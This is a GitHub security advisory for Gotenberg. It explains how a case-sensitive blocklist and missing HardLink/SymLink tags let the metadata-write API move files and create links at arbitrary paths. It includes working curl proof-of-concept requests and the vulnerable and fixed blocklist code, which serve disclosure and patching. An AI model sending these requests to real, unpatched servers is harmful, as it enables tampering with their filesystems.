GHSA-qmwh-9m9c-h36m: Gotenberg has incomplete fix for ExifTool arbitrary file write: case-insensitive bypass and missing HardLink/SymLink tags
Summary The fix for ExifTool arbitrary file write (commit 043b158, released in v8.29.0) uses a case-sensitive blocklist to filter dangerous pseudo-tags. ExifTool processes tag names case-insensitively, so alternate casings bypass the filter. The blocklist also omits the HardLink and SymLink pseudo-tags entirely. Confirmed end-to-end against Gotenberg v8.29.1 via the unauthenticated HTTP API.
Published Apr 7, 2026
Affected packages
github.com/gotenberg/gotenberg/v8
- Ecosystem
- Go
- Affected
- <= 8.29.1
- Fixed in
- 8.30.0
- Check
go list -m github.com/gotenberg/gotenberg/v8
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The fix for ExifTool arbitrary file write (commit 043b158, released in v8.29.0) uses a case-sensitive blocklist to filter dangerous pseudo-tags. ExifTool processes tag names case-insensitively, so alternate casings bypass the filter. The blocklist also omits the HardLink and SymLink pseudo-tags entirely.
Confirmed end-to-end against Gotenberg v8.29.1 via the unauthenticated HTTP API.
Root Cause
pkg/modules/exiftool/exiftool.go lines 231-237:
dangerousTags := []string{ "FileName", // Writing this triggers a file rename in ExifTool "Directory", // Writing this triggers a file move in ExifTool } for _, tag := range dangerousTags { delete(metadata, tag) }
Go's delete(metadata, tag) is case-sensitive. It only removes the exact keys "FileName" and "Directory". ExifTool processes tag names case-insensitively (per ExifTool documentation). Alternate casings like filename, FILENAME, directory all bypass the Go blocklist but ExifTool treats them identically.
The go-exiftool library passes tag names directly to ExifTool's stdin at line 258:
fmt.Fprintln(e.stdin, "-"+k+"="+str)
So filename becomes -filename=/attacker/path which ExifTool interprets as -FileName=/attacker/path.
The blocklist also omits two dangerous ExifTool pseudo-tags:
HardLink: creates a hard link to the file at the specified pathSymLink: creates a symbolic link to the file at the specified path
PoC
All three vectors confirmed against a running Gotenberg v8.29.1 Docker container.
Case-insensitive filename bypass (file moved to /tmp/evil_bypass.pdf):
curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \ -F [email protected] \ -F 'metadata={"filename": "/tmp/evil_bypass.pdf"}'
HardLink (hard link created at /tmp/hardlink_bypass.pdf):
curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \ -F [email protected] \ -F 'metadata={"HardLink": "/tmp/hardlink_bypass.pdf"}'
SymLink (symbolic link created at /tmp/symlink_bypass.pdf):
curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \ -F [email protected] \ -F 'metadata={"SymLink": "/tmp/symlink_bypass.pdf"}'
Verification inside the container:
$ docker exec gotenberg-poc ls -la /tmp/evil_bypass.pdf /tmp/hardlink_bypass.pdf /tmp/symlink_bypass.pdf -rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/evil_bypass.pdf -rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/hardlink_bypass.pdf lrwxrwxrwx 1 gotenberg gotenberg 119 ... /tmp/symlink_bypass.pdf -> /tmp/.../source.pdf
Also confirmed ExifTool case-insensitivity directly:
exiftool -filename=bypassed.pdf test.pdf # Works identically to -FileName=
Impact
An attacker with access to the Gotenberg API (unauthenticated by default) can:
- Rename/move uploaded PDFs to arbitrary filesystem paths via lowercase
filename/directory - Create hard links at arbitrary paths via
HardLink, persisting data beyond temp directory cleanup - Create symbolic links at arbitrary paths via
SymLink
In containerized deployments, impact is limited to the container filesystem (DoS by overwriting temp files). In bare-metal deployments or those with shared volumes, this can affect other services.
Suggested Fix
Use case-insensitive comparison and expand the blocklist:
dangerousTags := []string{ "FileName", "Directory", "HardLink", "SymLink", } for key := range metadata { for _, tag := range dangerousTags { if strings.EqualFold(key, tag) { delete(metadata, key) } } }
Credited to kodareef5.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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